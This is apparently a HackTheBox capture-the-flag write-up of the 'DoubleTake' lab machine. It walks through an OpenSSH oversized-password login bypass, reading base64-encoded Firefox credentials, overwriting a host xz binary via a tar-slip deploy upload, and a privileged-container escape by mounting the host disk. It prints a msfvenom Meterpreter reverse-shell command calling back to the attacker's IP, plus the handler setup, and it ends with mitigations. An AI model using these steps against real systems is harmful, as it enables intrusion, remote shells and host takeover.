HTB: DoubleTake — SSHole Auth Bypass to Archive-Extraction RCE
Writeup for the HackTheBox machine DoubleTake — an SSHole authentication bypass.
DoubleTake lives up to its name. You log in once and it fails; you try again and you’re in. Then you do it all a second time as a different user. And the box itself hands you two chances at a shell — one through SSH, one through a deploy pipeline that trusts its archives far too much.
This writeup walks the full chain from an empty Nmap scan to host-level root: a brand-new OpenSSH authentication bypass on Alpine, credentials sitting in plaintext inside a Firefox profile, an archive-extraction flaw in an internal AI dev platform that lets us overwrite a host binary and wait for it to run, and finally a privileged-container escape that mounts the host disk straight out from under it.
Heads-up on IPs. HackTheBox rotates a machine’s address every time you spawn it, and your VPN address can change between sessions too. This box started life at
10.129.75.171(recon and SSH) and came back as10.129.248.123in a later session (the deploy/Meterpreter phase). My attacking VPN IP was10.10.15.118. Substitute your own values everywhere —ip -br a tun0will show your current VPN address.
Challenge Overview
| Field | Detail |
|---|---|
| Platform | HackTheBox |
| Challenge Name | DoubleTake |
| Difficulty | Easy |
| Number of Flags | 2 (user + root) |
| Target(s) | 10.129.75.171 → respawned as 10.129.248.123 |
| Completion Time | Spanned two lab sessions |
Figure 1: The DoubleTake Machine Info page. HTB’s own “About” text spoils the entire kill-chain — worth reading before you touch the box.
Table of Contents
- Reconnaissance
- What is the SSHole Bug?
- Initial Access — SSH as
alpine - Enumeration & Credential Looting
- User Flag — SSH as
bob - The Zentara Web App
- What is an Archive-Extraction Overwrite?
- Exploitation — Hijacking the
xzBinary - What is a Privileged Container Escape?
- Privilege Escalation — Mounting the Host Disk
- Captured Flags
- Vulnerabilities Exploited
- Defense / Mitigation
- Key Takeaways
Reconnaissance
Every engagement starts the same way: find out what’s listening. A full service-and-OS scan with nmap -A gives us the lay of the land.
1
sudo nmap -A 10.129.75.171
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-30 23:30 -0500
Nmap scan report for 10.129.75.171
Host is up (0.046s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.6 (protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 UNAUTHORIZED
|_ Basic realm=Zentara
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
Network Distance: 2 hops
Command Breakdown
| Flag | Purpose |
|---|---|
-A | Aggressive scan: service/version detection (-sV), OS detection (-O), default NSE scripts (-sC), and traceroute in one shot |
sudo | Needed for OS detection and raw-packet probes |
Two services, and both push back:
- Port 80 (nginx) immediately returns
401 Unauthorizedwith an HTTP Basic realm ofZentara. The browser confirms it — we’re prompted for a username and password before we see anything. - Port 22 (SSH) reports OpenSSH 10.6. Note that version carefully. Reading the machine’s “About” blurb tells us it runs Alpine Linux, and that combination — a very recent OpenSSH on Alpine — is a flashing neon sign.
Figure 2: The nginx front door asks for credentials we don’t have yet (Basic realm=Zentara).
We have no credentials for the web app, so the HTTP service is a dead end for now. SSH, on the other hand, is a much more interesting target than it looks.
🧠 Think First! Alpine Linux. OpenSSH version in the 10.6 range. A box called DoubleTake where a second attempt is a recurring theme. What recently-disclosed SSH flaw affects exactly this stack — and why would you need to try twice?
What is the SSHole Bug?
In November 2026, researcher Özgün Kültekin disclosed SSHole, tracked as CVE-2026-123158 (CVSS 8.1) and fixed in OpenSSH 10.6p2. It lets you authenticate to accounts that are supposed to reject passwords entirely, just by sending a password that’s too long.
It only works under a specific stack, and Alpine happens to tick every box:
- The system uses musl libc instead of glibc.
- OpenSSH’s
sshdhandles password authentication without PAM (Alpine’s defaultopenssh-serverbuild). PasswordAuthenticationis enabled.- A target account has its password field set to
*— the classic Unix marker for “this account has no usable password.” The defaultalpineuser,root, and key-only accounts created without a password all look like this.
Here’s the chain of events that turns three reasonable decisions into an auth bypass:
- When an account’s password field is
*, there’s no real hash to check against. To stop attackers from timing responses to figure out which usernames exist (the fix for the old CVE-2016-6210),sshdborrows a salt from a legitimate account and performs a hashing operation anyway. - On musl, calling
crypt()with a password beyond a certain length fails and returns — of all things — a single*. sshdthen compares the output ofcrypt()(*) against the account’s stored password field (*). They’re identical, so the comparison succeeds, and you’re logged in.
So any password roughly 257–1024 bytes long authenticates a * account with no real credential required. The quirk that gives the box its name: in vulnerable builds the first attempt inside a connection often fails and a later attempt succeeds — a double take.
Initial Access — SSH as alpine
Armed with that, we try the default Alpine user and simply mash out a long password — a few hundred As pasted into the prompt.
1
ssh alpine@10.129.75.171
1
2
3
4
5
6
alpine@10.129.75.171's password:
Permission denied, please try again.
alpine@10.129.75.171's password:
Welcome to Alpine!
...
7f906e0ee8ec:~$
Exactly as the research describes — the first attempt is rejected, the second attempt (same long password) logs us straight in. No brute force, no credential; just a password long enough to break musl’s crypt().
Note the hostname. The shell prompt is
7f906e0ee8ec— that’s a Docker container ID, not a bare host. We’ve landed inside a container, which becomes relevant later.
Command Breakdown
| Element | Purpose |
|---|---|
alpine | The default Alpine user, whose password field is * (login disabled) — the perfect SSHole target |
| 300+ character password | Long enough (257–1024 bytes) to make musl’s crypt() return * and trip the comparison |
| Retry | The vulnerable build accepts the oversized password on a subsequent attempt in the connection |
Enumeration & Credential Looting
A shell is a starting line, not a finish line. Time to enumerate. I grabbed LinPEAS on my own box and served it over a quick HTTP server.
1
2
# On Kali
python3 -m http.server 80
1
2
3
4
# On the target
wget http://10.10.15.118/linpeas_fat.sh
chmod +x linpeas_fat.sh
./linpeas_fat.sh
LinPEAS flags something juicy under its browser-artifacts and database checks — a Firefox profile sitting in the alpine home directory:
1
2
3
4
5
6
╔══════════╣ Analyzing Firefox Files (limit 70)
drwxr-sr-x 3 alpine alpine 4096 /home/alpine/.mozilla
╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files
Found /home/alpine/.mozilla/firefox/zentara.default/cert9.db ...
Found /home/alpine/.mozilla/firefox/zentara.default/key4.db ...
Firefox stores saved site logins in logins.json. Let’s read it directly.
1
2
cd /home/alpine/.mozilla/firefox/zentara.default
ls
1
cert9.db key4.db logins.json pkcs11.txt prefs.js signedInUser.json
1
cat logins.json
1
2
3
{"nextId":2,"logins":[{"id":1,"hostname":"http://172.17.0.1","httpRealm":"Zentara",
"encryptedUsername":"Ym9i","encryptedPassword":"Q29ycmVjdEhvcnNlQmF0dGVyeVN0YXBsZQ==",
"guid":"{a1b2c3d4-e5f6-7890-abcd-ef1234567890}","encType":0, ...}]}
Two things jump out. The hostname is http://172.17.0.1 — the Docker bridge gateway, i.e. the Zentara service running on the host outside our container. And the credentials carry encType:0.
Normally Firefox encrypts stored passwords with a key in key4.db (NSS). encType:0 means no encryption at all — the encryptedUsername/encryptedPassword values are just Base64-encoded. So we don’t need the NSS key; we just decode them.
1
2
echo 'Ym9i' | base64 -d
echo 'Q29ycmVjdEhvcnNlQmF0dGVyeVN0YXBsZQ==' | base64 -d
1
2
bob
CorrectHorseBatteryStaple
Credentials recovered: bob : CorrectHorseBatteryStaple.
The field is literally named
encryptedPassword, butencType:0tells the truth: it was never encrypted, only encoded. Base64 is not a security control — it’s a transport format. This is a recurring real-world finding, not just a CTF trope.
User Flag — SSH as bob
Those credentials are reused for the bob system account (the second login the box’s name promised).
1
ssh bob@10.129.75.171
1
2
3
4
Welcome to Alpine!
...
7f906e0ee8ec:~$ cat user.txt
[redacted — try it yourself!]
🚩 User flag:
[redacted — try it yourself!]
The Zentara Web App
The same bob credentials also satisfy the Zentara HTTP Basic prompt from Figure 2. Inside is Zentara, an internal AI developer platform with a chat agent called CodePilot and a Deploy feature in the sidebar.
Browsing CodePilot’s conversation history is where the privilege-escalation path leaks out. In a thread about building a background deploy queue, the agent explains exactly how uploaded deployment archives are processed:
Figure 3: CodePilot documents the deploy worker — it detects archive format from magic bytes and, for .xz, “shells out to the xz binary on the host since Python’s lzma module is significantly slower for large archives.”
The important sentences, in plain terms:
- The deploy endpoint accepts an uploaded archive, writes it to a staging directory, and an async worker unpacks it into a workspace.
- The worker picks a decompressor from the archive’s magic bytes. For plain
tarit extracts directly; forgzipit pipes through gzip; and forxzit shells out to thexzbinary on the host (because Python’slzmais slower for large archives).
Read that last point again as an attacker. The worker will execute /usr/bin/xz whenever it sees an xz archive. If we can control what /usr/bin/xz is, we control what runs.
What is an Archive-Extraction Overwrite?
Unpacking an archive is deceptively dangerous. A tar file doesn’t just hold data — it holds paths, and a naive extractor will happily write a member to wherever its path says, including absolute or traversal paths (usr/bin/xz, ../../etc/cron.d/..., etc.). This family of bugs is often called a tar-slip / arbitrary-file-write on extraction.
DoubleTake’s deploy pipeline combines two weaknesses:
- The extraction root is attacker-controlled. The deploy request takes a
workspaceparameter. Point it at/and archive members land relative to the filesystem root — so a member stored asusr/bin/xzoverwrites the real/usr/bin/xz. - The worker later executes that binary. Because xz handling shells out to
/usr/bin/xz, any subsequent.xzupload runs whatever we planted there.
Chained, these give a clean write-what-where, then wait for it to run primitive:
Overwrite
/usr/bin/xzwith a malicious ELF → upload a harmless.xzarchive → the worker runs our ELF as its own (privileged) user.
There’s a specific CVE underneath this on DoubleTake. The deploy endpoint doesn’t unpack archives itself — it forwards them to the Docker daemon’s PUT /containers/{id}/archive API. The box runs Docker 29.5.0, which is vulnerable to CVE-2026-41567: when the daemon decompresses an uploaded archive, it resolves the decompression binary (here, xz) from the container’s overlay filesystem instead of the host’s trusted path. That’s why overwriting /usr/bin/xz inside our container is enough — the next .xz upload makes the Docker daemon execute our planted binary, and because the daemon runs as root on the host, so does our payload (as Figure 1’s About blurb spells out). The tar-slip gives us the write; CVE-2026-41567 is what turns that write into host-root code execution.
Exploitation — Hijacking the xz Binary
Step 1 — Build the malicious xz
We generate a Linux Meterpreter reverse-shell ELF and name it xz so it can masquerade as the system binary.
1
2
cd ~/pkg/usr/bin
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.15.118 LPORT=7667 -f elf > xz
1
2
3
4
5
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Command Breakdown
| Flag | Purpose |
|---|---|
-p linux/x86/meterpreter/reverse_tcp | Linux x86 Meterpreter staged reverse shell |
LHOST=10.10.15.118 | Your VPN IP — where the shell calls back (set it to your tun0 address) |
LPORT=7667 | Callback port; must match the handler |
-f elf | Output a raw ELF executable |
Step 2 — Package it so the path overwrites /usr/bin/xz
We build the directory structure usr/bin/xz and tar it from the parent so the stored member path is relative — usr/bin/xz.
1
2
3
cd ~/pkg
tar cf test.tar usr/bin/xz
ls
1
test.tar usr
Step 3 — Overwrite the host binary via the deploy endpoint
Upload test.tar through the Deploy feature and set the extraction target to root (/). In the UI that’s selecting the root workspace; the equivalent request is:
1
2
3
4
curl -u bob:CorrectHorseBatteryStaple \
-F 'archive=@test.tar' \
-F 'workspace=/' \
http://10.129.248.123/deploy
Figure 4: The Deploy page doing the same thing from the browser — test.tar uploaded with the Target path set to /. The history row confirms it extracted with success.
Because workspace=/, the member usr/bin/xz is written to /usr/bin/xz, clobbering the legitimate binary. Confirm on the box — our 207-byte ELF has replaced it:
1
2
7f906e0ee8ec:/usr/bin$ ls -la xz
-rw-rw-r-- 1 alpine alpine 207 Dec 1 02:56 xz
The size (207) matches our msfvenom output exactly. The real xz is gone; ours is in its place.
Step 4 — Build a dummy .xz trigger
The planted binary only runs when the worker needs to decompress an xz archive. So we need a throwaway .tar.xz whose only job is to make the worker invoke /usr/bin/xz. Its contents are irrelevant. Build it on Kali, where xz still works:
1
2
echo 'trigger' > dummy.txt
tar cJf trigger.tar.xz dummy.txt
Command Breakdown
| Flag | Purpose |
|---|---|
c | Create a new archive |
J | Compress with xz (capital J) — this is what gives the file real xz magic bytes |
f trigger.tar.xz | Write to trigger.tar.xz |
Step 5 — Start the handler
1
2
3
4
5
6
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.15.118
msf exploit(multi/handler) > set lport 7667
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.15.118:7667
Step 6 — Fire the trigger
Upload the dummy xz. The worker reads its magic bytes, decides it’s xz, and shells out to /usr/bin/xz — which is now our payload.
1
2
3
4
curl -u bob:CorrectHorseBatteryStaple \
-F 'archive=@trigger.tar.xz' \
-F 'workspace=/workspace' \
http://10.129.248.123/deploy
Back in the handler, the worker calls home:
1
2
3
4
[*] Sending stage (1079144 bytes) to 10.129.248.123
[!] Meterpreter session 3 is using a weak encryption key.
[*] Meterpreter session 3 opened (10.10.15.118:7667 -> 10.129.248.123:35734) at 2026-11-30 22:25:34 -0500
meterpreter >
🚩 Shell acquired. We have a Meterpreter session executing as the Zentara deploy worker. But we’re not on the host yet — the worker runs in its own container. Dropping to a shell (
meterpreter > shell) and checking/proc/1/cgroup,/proc/mounts, and our capabilities reveals exactly what kind of container we’ve landed in — and it’s a generous one.
What is a Privileged Container Escape?
Containers aren’t a security boundary by default — they’re a configuration. A well-locked-down container drops dangerous Linux capabilities and hides the host’s devices. A privileged one (started with --privileged, or granted the full capability set) keeps them, and that turns “I have root in a container” into “I have root on the host.”
The giveaway is the capability bitmask. Checking ours:
1
cat /proc/self/status | grep Cap
1
2
3
4
5
CapInh: 0000000000000000
CapPrm: 000001ffffffffff
CapEff: 000001ffffffffff
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000
CapEff: 000001ffffffffff has all 41 capability bits set — the complete set. Two of them hand us the keys:
CAP_MKNODlets us create device nodes withmknod. The host’s disk shows up as a block device (major:minor8:4→/dev/sda4) but the node itself isn’t present in our container. WithCAP_MKNODwe simply recreate it.CAP_SYS_ADMINlets us callmount. Once the device node exists, we mount the host’s entire root filesystem inside our container.
Read the host’s disk and you can read — and write — anything on it, including /root.
Privilege Escalation — Mounting the Host Disk
Step 1 — Find the host disk
/proc/mounts and /proc/self/mountinfo leak the host’s block device. The bind-mounted user.txt is served from it:
1
cat /proc/mounts
1
2
3
overlay / overlay rw,...,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/...
/dev/sda4 /home/bob/user.txt ext4 ro,relatime,errors=remount-ro 0 0
...
1
grep ' /home/bob/user.txt ' /proc/self/mountinfo
1
333 332 8:4 /home/bob/user.txt /home/bob/user.txt ro,relatime - ext4 /dev/sda4 rw,errors=remount-ro
The 8:4 is the major:minor number of the host disk — major 8 (SCSI/SATA disks), minor 4 (sda4). The device node doesn’t exist in our namespace, though:
1
ls -l /dev/sda4
1
ls: /dev/sda4: No such file or directory
Step 2 — Recreate the device node and mount it
CAP_MKNOD + CAP_SYS_ADMIN make that a non-issue. We forge the block device with the numbers we just found, then mount it.
1
2
3
4
mknod /dev/sda4 b 8 4
mkdir -p /mnt/host
mount -t ext4 /dev/sda4 /mnt/host
ls /mnt/host
1
2
bin boot dev etc home lib lib64 lost+found media
mnt opt proc root run sbin snap srv sys tmp usr var
Command Breakdown
| Command | Purpose |
|---|---|
mknod /dev/sda4 b 8 4 | Create a block device node named /dev/sda4 with major 8, minor 4 — pointing at the host disk |
mount -t ext4 /dev/sda4 /mnt/host | Mount the host’s root (ext4) filesystem into our container at /mnt/host |
That’s a full Ubuntu host root filesystem — not our Alpine container. We’ve escaped.
Step 3 — Read the root flag
1
2
cd /mnt/host/root
cat root.txt
1
[redacted — try it yourself!]
🚩 Root flag:
[redacted — try it yourself!]
From here the box is fully owned. The same mount is read-write, so beyond grabbing the flag you could drop an SSH key into
/mnt/host/root/.ssh/authorized_keysor plant a cron job for persistent host-level root — which is exactly why privileged containers are so dangerous.
Captured Flags
| Flag | Value | Location |
|---|---|---|
| 🚩 User | [redacted — try it yourself!] | /home/bob/user.txt |
| 🚩 Root | [redacted — try it yourself!] | host /root/root.txt (via mounted disk) |
Vulnerabilities Exploited
| # | Vulnerability | Impact |
|---|---|---|
| 1 | SSHole — OpenSSH auth bypass on musl/Alpine without PAM (CVE-2026-123158) | Unauthenticated login to a * account (alpine) using an oversized password → container foothold |
| 2 | Plaintext credentials in a Firefox profile (logins.json, encType:0, Base64 only) | Recovery of bob’s password → user flag and web-app access |
| 3 | Credential reuse | The same password works for the system account and the Zentara web app |
| 4 | Unsanitised deploy-archive extraction with attacker-controlled root (tar-slip) | Arbitrary file write — overwrite of /usr/bin/xz |
| 5 | Deploy worker shells out to the host xz binary | The overwritten binary is executed → code execution as the worker → Meterpreter session |
| 6 | Privileged container (full capability set incl. CAP_MKNOD + CAP_SYS_ADMIN) | Recreate the host disk device node, mount the host root filesystem, read/write host files → root flag and full host compromise |
Defense / Mitigation
- Patch OpenSSH. Upgrade to 10.6p2 or later and restart
sshd. As a stopgap on musl systems, setPasswordAuthentication no(key-only auth sidesteps SSHole entirely). Audit/var/log/messagesforAccepted passwordlines on accounts that should never accept one. - Never store secrets in Base64 and call it encryption. Credentials belong in a secrets manager, not a browser profile on a shared box. If Firefox must store logins, enable a primary password so NSS actually encrypts them.
- Kill credential reuse. Separate web-app and system credentials; rotate anything found in cleartext.
- Sanitise archive extraction. Reject member paths that are absolute or contain
.., extract into a fixed, non-configurable sandbox, and never let a client choose/as the workspace. Validate every resolved path stays within the intended directory. - Don’t shell out to overwritable host binaries. Use an in-process library (e.g. Python
lzma) or call a pinned binary by absolute path from a read-only, integrity-verified location. - Never run workloads in privileged containers. Drop all capabilities and add back only what’s required (
--cap-drop=ALL), keepCAP_SYS_ADMINandCAP_MKNODout, and don’t expose host devices. Enable user namespaces so container root isn’t host root, and apply seccomp/AppArmor profiles. A container that canmknodandmountis not a boundary at all.
Key Takeaways
- Version strings are intel. “OpenSSH 10.6 on Alpine” was the whole ballgame — recognising a fresh CVE against a specific libc/stack turned an empty scan into a shell.
- Enumeration beats exploitation. The user flag came from reading a file, not from an exploit. Always loot browser profiles, config files, and history.
- Encoding ≠ encryption.
encType:0and a Base64 string are a gift, not a wall. - Trace data flow end to end. The win wasn’t one bug — it was arbitrary write plus the worker running the thing we wrote. Chaining two “small” issues is how real compromises happen.
- Read the docs the target gives you. CodePilot literally explained its own insecure design; the exploit was just taking it at its word.
- Root in a container ≠ contained. Always check
/proc/self/statuscapabilities after landing a shell. A fullCapEffbitmask plus a visible host device is a direct road to the host — forge the device node, mount the disk, done.
⚠️ Ethical-Use Disclaimer
This writeup documents work performed against an intentionally vulnerable, authorised lab machine on HackTheBox. Everything here is shared strictly for education and defensive awareness. Do not use these techniques against any system you do not own or have explicit written permission to test — doing so is illegal. Always operate within the rules of engagement, and follow responsible-disclosure practices for anything you find in the real world.
Secure your networks. Patch your SSH. And never trust an archive you didn’t pack yourself.